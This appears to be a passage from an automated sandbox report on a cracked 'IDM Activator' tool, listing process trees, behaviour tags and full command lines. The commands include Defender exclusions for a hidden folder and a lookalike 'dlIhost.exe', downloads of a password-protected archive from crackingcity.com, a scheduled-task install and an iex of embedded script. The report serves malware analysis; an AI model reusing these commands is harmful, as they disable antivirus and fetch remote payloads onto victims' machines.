N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2912 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2540 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 2608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2540 wrote to memory of 2608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2540 wrote to memory of 2608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2540 wrote to memory of 2608 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2540 wrote to memory of 2624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2928 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2928 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2928 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2928 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2540 wrote to memory of 2168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 2912 wrote to memory of 2408 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2408 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2408 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2408 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2912 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2460 wrote to memory of 2932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2460 wrote to memory of 2932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2460 wrote to memory of 2932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2460 wrote to memory of 2932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2408 wrote to memory of 3068 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 3068 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 3068 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 3068 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 2896 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 2896 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 2896 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 2896 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2408 wrote to memory of 360 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2932 wrote to memory of 1564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\sc.exe
PID 2932 wrote to memory of 1564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\sc.exe
PID 2932 wrote to memory of 1564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\sc.exe
PID 2932 wrote to memory of 2384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 2932 wrote to memory of 2384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 2932 wrote to memory of 2384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 2408 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 1064 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2408 wrote to memory of 2668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2408 wrote to memory of 2668 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe

"C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\main.bat" "

C:\Windows\SysWOW64\attrib.exe

ATTRIB -S +H .

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa IDM0.bat

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa IDM.bat

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa NSudo86x.exe

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa AB2EF.exe

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa UpdateTask.xml

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM0.bat" "

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" "

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" r1"

C:\Windows\SysWOW64\reg.exe

REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden"

C:\Windows\SysWOW64\find.exe

FIND /I "1"

C:\Windows\SysWOW64\reg.exe

REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0"

C:\Windows\System32\sc.exe

sc query Null

C:\Windows\SysWOW64\find.exe

FIND /I "x86"

C:\Windows\System32\find.exe

find /i "RUNNING"

C:\Windows\SysWOW64\attrib.exe

ATTRIB +S +H "C:\Users\Admin\AppData\Roaming\DLL"

C:\Windows\System32\findstr.exe

findstr /v "$" "IDM.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ver

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat') -split ':PowerShellTest:\s*';iex ($f[1])"

C:\Windows\System32\find.exe

find /i "FullLanguage"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DLL" -Force

C:\Windows\System32\fltMC.exe

fltmc

C:\Windows\System32\reg.exe

reg query HKCU\Console /v QuickEdit

C:\Windows\System32\find.exe

find /i "0x0"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property CreationClassName"

C:\Windows\System32\find.exe

find /i "computersystem"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionProcess "dlIhost.exe" -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value" 2>nul

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionProcess "NSudo86x.exe" -Force

C:\Windows\System32\reg.exe

reg query HKU\\Software

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid" 2>nul

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionProcess "7za.exe" -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command "Invoke-WebRequest 'https://www.crackingcity.com/VScan/dlIhost.7z' -OutFile 'C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z'"

C:\Windows\System32\reg.exe

reg query HKU\S-1-5-21-2721934792-624042501-2768869379-1000\Software

C:\Windows\System32\reg.exe

reg delete HKCU\IAS_TEST /f

C:\Windows\System32\reg.exe

reg delete HKU\S-1-5-21-2721934792-624042501-2768869379-1000\IAS_TEST /f

C:\Windows\System32\reg.exe

reg add HKCU\IAS_TEST

C:\Windows\System32\reg.exe

reg query HKU\S-1-5-21-2721934792-624042501-2768869379-1000\IAS_TEST

C:\Windows\System32\reg.exe

reg delete HKCU\IAS_TEST /f

C:\Windows\System32\reg.exe

reg delete HKU\S-1-5-21-2721934792-624042501-2768869379-1000\IAS_TEST /f

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE

C:\Windows\System32\reg.exe

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE

C:\Windows\SysWOW64\timeout.exe

TIMEOUT /T 3

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKU\S-1-5-21-2721934792-624042501-2768869379-1000\Software\DownloadManager" /v ExePath 2>nul

C:\Windows\System32\reg.exe

reg query "HKU\S-1-5-21-2721934792-624042501-2768869379-1000\Software\DownloadManager" /v ExePath

C:\Windows\System32\reg.exe

reg add HKU\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST

C:\Windows\System32\reg.exe

reg query HKU\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST

C:\Windows\System32\reg.exe

reg delete HKU\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST /f

C:\Windows\System32\mode.com

mode 75, 28

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe write-host -back '"Black"' -fore '"Gray"' '" "' -NoNewline; write-host -back '"Black"' -fore '"Green"' '"Enter a menu option in the Keyboard [1,2,3,4,5,6,7]"'

C:\Windows\System32\choice.exe

choice /C:1234567 /N

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command "(New-Object System.Net.WebClient).DownloadFile('https://www.crackingcity.com/VScan/dlIhost.7z', 'C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z')"

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e "C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z" -o"C:\Users\Admin\AppData\Roaming\DLL" -pun#912345678@rar -aoa

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /xml ".\UpdateTask.xml" /tn "UpdateTask" /f

C:\Windows\System32\mode.com

mode 113, 35

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=34;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe write-host -back '"Red"' -fore '"white"' '"IDM [Internet Download Manager] is not Installed."'

C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe

NSudo86x -U:C -P:E -UseCurrentConsole "C:\Program Files (x86)\Internet Download Manager\IDMan.exe" /onboot

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe write-host -back '"Black"' -fore '"Yellow"' '"Press any key to return..."'

C:\Windows\System32\mode.com

mode 75, 28

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe write-host -back '"Black"' -fore '"Gray"' '" "' -NoNewline; write-host -back '"Black"' -fore '"Green"' '"Enter a menu option in the Keyboard [1,2,3,4,5,6,7]"'

C:\Windows\System32\choice.exe

choice /C:1234567 /N

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://www.internetdownloadmanager.com/download.html

C:\Windows\System32\mode.com

mode 75, 28

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe write-host -back '"Black"' -fore '"Gray"' '" "' -NoNewline; write-host -back '"Black"' -fore '"Green"' '"Enter a menu option in the Keyboard [1,2,3,4,5,6,7]"'

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:275457 /prefetch:2

C:\Windows\System32\choice.exe

choice /C:1234567 /N

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\idman642build9.exe

"C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\idman642build9.exe"

C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp

"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"

C:\Program Files (x86)\Internet Download Manager\idmBroker.exe

"C:\Program Files (x86)\Internet Download Manager\idmBroker.exe" -RegServer

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"

C:\Program Files (x86)\Internet Download Manager\IDMan.exe

"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" /rtr

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html

C:\Program Files (x86)\Internet Download Manager\Uninstall.exe

"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html

C:\Windows\system32\RUNDLL32.EXE

"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf

C:\Windows\system32\runonce.exe

"C:\Windows\system32\runonce.exe" -r

C:\Windows\System32\grpconv.exe

"C:\Windows\System32\grpconv.exe" -o

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.0.537537389\1016717010" -parentBuildID 20221007134813 -prefsHandle 1244 -prefMapHandle 1236 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3880ad26-7de3-4427-9175-9df9c5c21fbf} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 1308 44da458 gpu

C:\Windows\SysWOW64\net.exe

"C:\Windows\System32\net.exe" start IDMWFP

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start IDMWFP

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.1.1457621568\461771020" -parentBuildID 20221007134813 -prefsHandle 1496 -prefMapHandle 1492 -prefsLen 21610 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {23d957aa-9f7b-4636-a9a4-0808d1a2c0f3} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 1524 e70d58 socket

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.2.106620235\1558000447" -childID 1 -isForBrowser -prefsHandle 2072 -prefMapHandle 2068 -prefsLen 21648 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f74d969-a29c-4dd3-b49f-3e5f1f103a8c} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 2084 e2d858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.3.179734153\2099038069" -childID 2 -isForBrowser -prefsHandle 2764 -prefMapHandle 2760 -prefsLen 26111 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b53e83ea-48e8-4723-822c-b42aee308b85} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 2744 1c4e8958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.4.998988148\1480704481" -childID 3 -isForBrowser -prefsHandle 3624 -prefMapHandle 3360 -prefsLen 26170 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb30db13-1d7b-4daf-a5e1-90d69c155546} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3652 1fc37e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.5.1837490896\383405525" -childID 4 -isForBrowser -prefsHandle 3760 -prefMapHandle 3764 -prefsLen 26170 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {109ed41c-5059-4f2f-a32c-d0076e0888e1} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3748 1fc36c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.6.1751383593\864257742" -childID 5 -isForBrowser -prefsHandle 3924 -prefMapHandle 3928 -prefsLen 26170 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9854abfb-e60a-4907-afc9-b16c507f1f7a} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3912 219ca058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.7.1088310521\383427309" -childID 6 -isForBrowser -prefsHandle 3796 -prefMapHandle 3800 -prefsLen 26251 -prefMapSize 233444 -jsInitHandle 852 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2fa40018-eccd-4da8-8525-6c636e1099fc} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3784 1b57fe58 tab

C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe

"C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe"

C:\Program Files (x86)\Internet Download Manager\IDMan.exe

"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" -Embedding

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe

"C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe" -runcm

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Program Files (x86)\Internet Download Manager\Uninstall.exe

"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv

C:\Windows\system32\RUNDLL32.EXE

"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf

C:\Windows\system32\runonce.exe

"C:\Windows\system32\runonce.exe" -r

C:\Windows\System32\grpconv.exe

"C:\Windows\System32\grpconv.exe" -o

C:\Windows\SysWOW64\net.exe

"C:\Windows\System32\net.exe" start IDMWFP

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start IDMWFP

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"

C:\Windows\system32\regsvr32.exe

